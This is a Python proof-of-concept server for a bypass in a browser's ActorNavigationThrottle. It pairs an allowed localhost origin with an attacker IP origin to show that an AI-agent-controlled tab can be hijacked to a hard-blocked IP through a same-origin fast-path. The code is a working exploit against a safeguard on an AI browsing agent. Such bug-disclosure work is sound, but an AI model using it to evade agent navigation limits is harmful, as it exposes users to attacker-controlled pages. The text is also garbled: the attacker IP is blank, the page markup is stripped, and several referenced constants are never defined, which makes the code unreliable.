#!/usr/bin/env python3 """POC server for ActorNavigationThrottle same-origin fast-path bypass. Runs two HTTP servers: * http://127.0.0.1:8000/ — the "allowed" origin (localhost passes site_policy.cc's IsLocalhost fast-allow) * http://:8001/ — the "attacker" origin. This is an IP literal that is NOT loopback, so MayActOnUrl()'s HostIsIPAddress check would normally HARD-BLOCK any top-frame navigation to it from an Actor-controlled tab. Pages served: /control.html (allowed origin) Navigates *itself* to http://:8001/hijack — initiator=localhost, dest=attacker-ip → throttle DEFERs → MayActOnUrl blocks (kIpAddress). This is the control case showing the throttle works when the same-origin fast-path is NOT taken. /bypass.html (allowed origin) Embeds """ FRAME_HTML = f""" attacker frame attacker frame at {ATTACKER_ORIGIN} """ HIJACK_HTML = f""" HIJACKED

HIJACKED

Actor-controlled tab is now top-level on {ATTACKER_ORIGIN}/hijack.

MayActOnUrl()'s HostIsIPAddress hard block was BYPASSED via the initiator-same-origin fast-path in ActorNavigationThrottle::WillStartOrRedirectRequest.

""" # First page the browser opens. The Actor task is only auto-created once the # tab already has a committed http(s) page (mirroring production: user browses # first, then starts Glic). This page just bounces to the real test page so # that all subsequent navigations are subject to the throttle. def start_page(target): return f"""start """ class AllowedHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): routes = { "/start-control.html": start_page("/control.html"), "/start-bypass.html": start_page("/bypass.html"), "/control.html": CONTROL_HTML, "/bypass.html": BYPASS_HTML, } body = routes.get(self.path) if body is None: self.send_error(404) return self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() self.wfile.write(body.encode()) def log_message(self, fmt, *args): sys.stderr.write(f"[allowed ] {self.address_string()} {fmt % args}\n") class AttackerHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): routes = {"/frame.html": FRAME_HTML, "/hijack": HIJACK_HTML} body = routes.get(self.path) if body is None: self.send_error(404) return self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() self.wfile.write(body.encode()) def log_message(self, fmt, *args): sys.stderr.write(f"[attacker] {self.address_string()} {fmt % args}\n") class ReusableTCPServer(socketserver.TCPServer): allow_reuse_address = True def serve(host, port, handler): httpd = ReusableTCPServer((host, port), handler) httpd.serve_forever() threading.Thread( target=serve, args=(ALLOWED_HOST, ALLOWED_PORT, AllowedHandler), daemon=True ).start() threading.Thread( target=serve, args=(ATTACKER_IP, ATTACKER_PORT, AttackerHandler), daemon=True ).start() print("[server] ready. Ctrl-C to stop.") try: threading.Event().wait() except KeyboardInterrupt: pass